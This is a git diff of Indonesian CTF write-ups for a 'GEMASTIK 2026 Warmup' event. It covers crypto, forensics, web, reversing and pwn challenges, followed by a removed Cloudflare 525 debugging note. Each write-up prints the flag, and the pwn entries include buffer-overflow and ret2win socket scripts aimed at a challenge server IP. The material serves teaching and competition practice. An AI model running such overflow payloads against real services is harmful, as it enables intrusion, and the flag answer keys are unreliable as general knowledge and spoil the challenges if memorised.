payload = b"A" * 32 + b"B" * 8 + struct.pack("<Q", RET_GADGET) + struct.pack("<Q", WIN_ADDR)
s.sendall(payload + b"\n")
time.sleep(1.5)
print(s.recv(4096).decode())
# -> GEMASTIK19{r3t2w1n_l0mpat_k3_win}
```
## Flag
`GEMASTIK19{r3t2w1n_l0mpat_k3_win}`
@@ -0,0 +1,24 @@
---
title: "Behind the Picture — PNG Strings"
event: "GEMASTIK 2026 Warmup"
challenge: "Behind the Picture"
category: "forensics"
points: 500
difficulty: "easy"
flag: "GEMASTIK19{c4t_g4mbar_ada_flag}"
---
# Behind the Picture (500 pts) — Steganografi / PNG
**File:** `kucing.png` (cat image)
Flag disisipkan sebagai string di dalam file PNG (bisa dilihat dengan `strings`):
```bash
strings kucing.png | grep GEMASTIK
# GEMASTIK19{c4t_g4mbar_ada_flag}
```
## Flag
`GEMASTIK19{c4t_g4mbar_ada_flag}`
@@ -0,0 +1,34 @@
---
title: "Layers — Hex to Base64 Chain"
event: "GEMASTIK 2026 Warmup"
challenge: "Layers"
category: "crypto"
points: 500
difficulty: "easy"
flag: "GEMASTIK19{h3x_lQlu_b4s3_ch41n}"
---
# Layers (500 pts) — Encoding chain
**File:** `chall.txt` → `5230564e51564e55535573784f58746f4d33686662464673645639694e484d7a58324e6f4e44467566513d3d`
Dua lapis encoding berturut-turut: **Hex → bytes → Base64 → flag**:
```python
import base64
s = "5230564e51564e55535573784f58746f4d33686662464673645639694e484d7a58324e6f4e44467566513d3d"
# Layer 1: hex decode
b = bytes.fromhex(s)
# b = b'R0VNQVNUSUsxOXtoM3hfbFFsdV9iNHMzX2NoNDFufQ=='
# Layer 2: base64 decode
flag = base64.b64decode(b).decode()
print(flag)
# GEMASTIK19{h3x_lQlu_b4s3_ch41n}
```
## Flag
`GEMASTIK19{h3x_lQlu_b4s3_ch41n}`
@@ -0,0 +1,59 @@
---
title: "Slopped — RSA Small Factors"
event: "GEMASTIK 2026 Warmup"
challenge: "Slopped"
category: "crypto"
points: 500
difficulty: "medium"
flag: "GEMASTIK19{qu4ntum_c0mput3r_br0k3_rs4_y0u_sh0uld_us3_p4p3r_s34rch_mcp_sk1ll}"
---
# Slopped (500 pts) — Crypto / RSA small factors
**File:** `chall.py`
```python
import random
p = random.randint(1, 10**4) # tiny prime candidates
q = random.randint(1, 10**4)
# ... find small primes, multiply
n = p * q * (big prime)
e = 0x10001
c = pow(flag, e, n)
```
## Analisis
RSA dengan `e = 0x10001`, `n` 2048-bit, `c = pow(flag, e, n)`.
`n` dibangun dari **faktor prima kecil** (sloppy primes — "my AI broke RSA with 1 billion qubits"). Faktorisasi temukan prima kecil lewat trial division, lalu `phi = prod(p_i - 1)`, `d = e⁻¹ mod phi`, dan `m = pow(c, d, n)`.
## Solusi
```python
from Crypto.Util.number import long_to_bytes
from sympy import factorint
e = 0x10001
n = 0xdb... # 2048-bit modulus
c = 0x...
# Trial division menemukan faktor kecil
factors = factorint(n)
print(factors)
# {83: 1, 233: 1, 9679: 1, <big_prime>: 1}
phi = 1
for p, exp in factors.items():
phi *= (p - 1) * p**(exp - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
# GEMASTIK19{qu4ntum_c0mput3r_br0k3_rs4_y0u_sh0uld_us3_p4p3r_s34rch_mcp_sk1ll}
```
## Flag
`GEMASTIK19{qu4ntum_c0mput3r_br0k3_rs4_y0u_sh0uld_us3_p4p3r_s34rch_mcp_sk1ll}`
> Flag ini adalah petunjuk untuk ch14 ("you should use paper search").
File diff suppressed because one or more lines are too long
@@ -0,0 +1,29 @@
---
title: "Julius — ROT13 Caesar Cipher"
event: "GEMASTIK 2026 Warmup"
challenge: "Julius"
category: "crypto"
points: 500
difficulty: "easy"
flag: "GEMASTIK19{caesar_r0t_th1rt33n_klasik}"
---
# Julius (500 pts) — Caesar / ROT13
**File:** `chall.txt` → `TRZNFGVX19{pnrfne_e0g_gu1eg33a_xynfvx}`
Caesar cipher dengan pergeseran paling populer di internet = **ROT13** (geser 13).
`TRZNFGVX19` → `GEMASTIK19`, dst.
```python
import codecs
s = "TRZNFGVX19{pnrfne_e0g_gu1eg33a_xynfvx}"
flag = codecs.encode(s, "rot_13")
print(f"Flag: {flag}")
# Output: GEMASTIK19{caesar_r0t_th1rt33n_klasik}
```
## Flag
`GEMASTIK19{caesar_r0t_th1rt33n_klasik}`
@@ -0,0 +1,24 @@
---
title: "Needle — Strings Binary"
event: "GEMASTIK 2026 Warmup"
challenge: "Needle"
category: "forensics"
points: 500
difficulty: "easy"
flag: "GEMASTIK19{str1ngs_c4n_f1nd_m3}"
---
# Needle (500 pts) — Steganografi / Binary
**File:** `secret.bin` (748 bytes, binary)
Teks tersembunyi di antara "junk data". Cukup ekstrak **strings** yang printable:
```bash
strings secret.bin | grep GEMASTIK
# GEMASTIK19{str1ngs_c4n_f1nd_m3}
```
## Flag
`GEMASTIK19{str1ngs_c4n_f1nd_m3}`
@@ -0,0 +1,24 @@
---
title: "Say Cheese — EXIF Metadata"
event: "GEMASTIK 2026 Warmup"
challenge: "Say Cheese"
category: "forensics"
points: 500
difficulty: "easy"
flag: "GEMASTIK19{h1dd3n_1n_m3tadata_exif}"
---
# Say Cheese (500 pts) — Steganografi / Metadata
**File:** `photo.jpg`
Flag disimpan di **metadata EXIF** foto. Cek dengan `exiftool` / `strings`:
```bash
strings photo.jpg | grep GEMASTIK
# GEMASTIK19{h1dd3n_1n_m3tadata_exif}
```
## Flag
`GEMASTIK19{h1dd3n_1n_m3tadata_exif}`
@@ -0,0 +1,29 @@
---
title: "Nothing Here — Web Comment"
event: "GEMASTIK 2026 Warmup"
challenge: "Nothing Here"
category: "web"
points: 500
difficulty: "easy"
flag: "GEMASTIK19{v13w_s0urc3_pahlawan}"
---
# Nothing Here (500 pts) — Web
**URL:** `http://15.232.89.109:8001/`
Halaman bilang "tidak ada apa-apa" tapi flag ada di **HTML comment**:
```html
<!-- Catatan dev: jangan lupa hapus flag ini sebelum rilis: GEMASTIK19{v13w_s0urc3_pahlawan} -->
```
## Recon
```bash
curl -s http://15.232.89.109:8001/ | grep -i 'GEMASTIK\|<!--'
```
## Flag
`GEMASTIK19{v13w_s0urc3_pahlawan}`
@@ -0,0 +1,29 @@
---
title: "Sweet Cookie — Base64 Cookie"
event: "GEMASTIK 2026 Warmup"
challenge: "Sweet Cookie"
category: "web"
points: 500
difficulty: "easy"
flag: "GEMASTIK19{c00k13_b4s3_d3c0d3}"
---
# Sweet Cookie (500 pts) — Web
**URL:** `http://15.232.89.109:8002/`
Server mengirim cookie `session`. Nilainya cuma di-encode **Base64** (JSON):
```python
import base64
# Cookie value from Set-Cookie header
cookie = "eyJ1c2V..." # nilai session cookie
decoded = base64.b64decode(cookie)
print(decoded)
# {"user": "guest", "flag": "GEMASTIK19{c00k13_b4s3_d3c0d3}"}
```
## Flag
`GEMASTIK19{c00k13_b4s3_d3c0d3}`
@@ -0,0 +1,28 @@
---
title: "Open Book — Python Source"
event: "GEMASTIK 2026 Warmup"
challenge: "Open Book"
category: "misc"
points: 500
difficulty: "easy"
flag: "GEMASTIK19{pyth0n_s0urc3_t3rbuka}"
---
# Open Book (500 pts) — Misc / Source
**File:** `chall.py`
Password yang benar **langsung dicetak dari array `SECRET`** (ASCII codes):
```python
SECRET = [71, 69, 77, 65, 83, 84, 73, 75, 49, 57, 123, 112, 121, 116, 104, 48, 110, 95,
115, 48, 117, 114, 99, 51, 95, 116, 51, 114, 98, 117, 107, 97, 125]
flag = "".join(chr(c) for c in SECRET)
print(flag)
# GEMASTIK19{pyth0n_s0urc3_t3rbuka}
```
## Flag
`GEMASTIK19{pyth0n_s0urc3_t3rbuka}`
@@ -0,0 +1,29 @@
---
title: "Back and Forth — XOR"
event: "GEMASTIK 2026 Warmup"
challenge: "Back and Forth"
category: "reverse"
points: 500
difficulty: "easy"
flag: "GEMASTIK19{x0r_it_back_4gain}"
---
# Back and Forth (500 pts) — Reversing / XOR
**File:** `chall.c`
Flag di-XOR dengan kunci 1-byte `0x42`. Balikkan dengan XOR lagi:
```python
enc = [0x05, 0x07, 0x0f, 0x03, 0x11, 0x16, 0x0b, 0x09, 0x73, 0x7b, 0x39, 0x3a,
0x72, 0x30, 0x1d, 0x2b, 0x36, 0x1d, 0x20, 0x23, 0x21, 0x29, 0x1d, 0x76,
0x25, 0x23, 0x2b, 0x2c, 0x3f]
flag = "".join(chr(b ^ 0x42) for b in enc)
print(flag)
# GEMASTIK19{x0r_it_back_4gain}
```
## Flag
`GEMASTIK19{x0r_it_back_4gain}`
@@ -0,0 +1,46 @@
---
title: "Are You Admin? — Buffer Overflow"
event: "GEMASTIK 2026 Warmup"
challenge: "Are You Admin?"
category: "pwn"
points: 500
difficulty: "easy"
flag: "GEMASTIK19{0v3rfl0w_ubah_var}"
---
# Are You Admin? (500 pts) — Pwn / Buffer Overflow
**Server:** `nc 15.232.89.109 9001`
**Source (`chall.c`):**
```c
volatile int admin = 0;
char name[16];
gets(name); // <-- overflow, no bounds check
if (admin != 0) { /* print flag */ }
```
## Eksploitasi
Stack layout: `name[16]` diikuti oleh `admin` (int). Overflow `name` dengan padding 20 byte
lalu 4 byte nonzero untuk mengubah `admin` menjadi != 0:
```python
import socket, time
s = socket.socket()
s.connect(("15.232.89.109", 9001))
time.sleep(0.5)
# 16 bytes buf + 4 bytes padding + 4 bytes admin override
payload = b"A" * 20 + b"\xff\xff\xff\xff"
s.sendall(payload + b"\n")
time.sleep(1.2)
print(s.recv(4096).decode())
# -> GEMASTIK19{0v3rfl0w_ubah_var}
```
## Flag
`GEMASTIK19{0v3rfl0w_ubah_var}`
-56
View File
@@ -1,56 +0,0 @@
---
id: cloudflare-525-writeup
title: Diagnosing Cloudflare 525 (Origin TLS Handshake Failed)
type: writeup
tags:
- cloudflare
- tls
- 525
- caddy
- debugging
status: published
author: asep
created_at: 2026-08-20
updated_at: 2026-08-20
---
# Diagnosing Cloudflare 525 (Origin TLS Handshake Failed)
A 525 appears between the user and the origin when Cloudflare (Strict TLS mode) cannot
complete the TLS handshake to the origin server. This writeup captures the debugging
loop that recurred while wiring new subdomains.
## Symptom
`curl https://<sub>.asepharyana.my.id` → `HTTP/2 525`. Browser shows Cloudflare's
"SSL handshake failed" page.
## Root causes (in order of likelihood)
1. **No Caddy site block for the SNI.** Cloudflare proxies every `*.asepharyana.my.id`
record. A host without a matching Caddy `site` block has no certificate, so the
handshake dies. This is the #1 cause and the one that bit `wiki` and `mcp`.
2. **Certificate still provisioning.** The first request after adding a block triggers
ACME `http-01` issuance. Until the cert lands (~10s), the origin 525s. Self-heals.
3. **Wrong cert presented.** Rare here — Caddy serves the SNI-matched cert; a mismatch
means the block points at the wrong backend or the cert store is stale.
## The debugging loop
```
curl -sI https://<sub>/ # 525?
grep -n "<sub>" /etc/caddy/Caddyfile # block present?
sudo journalctl -u caddy | grep -i "tls\|acme\|<sub>" # cert issued?
openssl s_client -connect 127.0.0.1:443 -servername <sub> # origin cert valid?
```
If the block is missing: add `import proxy <port>`, `caddy validate`, `systemctl
reload caddy`. If the cert is mid-issuance: wait and re-test. Do **not** point Cloudflare
at a non-existent origin or set the SSL mode to Flexible — Flexible mode breaks already-
working Strict setups.
## Lesson
Every new subdomain needs (a) a Caddy site block and (b) a Cloudflare DNS record that
proxies to the origin. Omit either and you get a 525. The wildcard DNS means you only
add the Caddy side.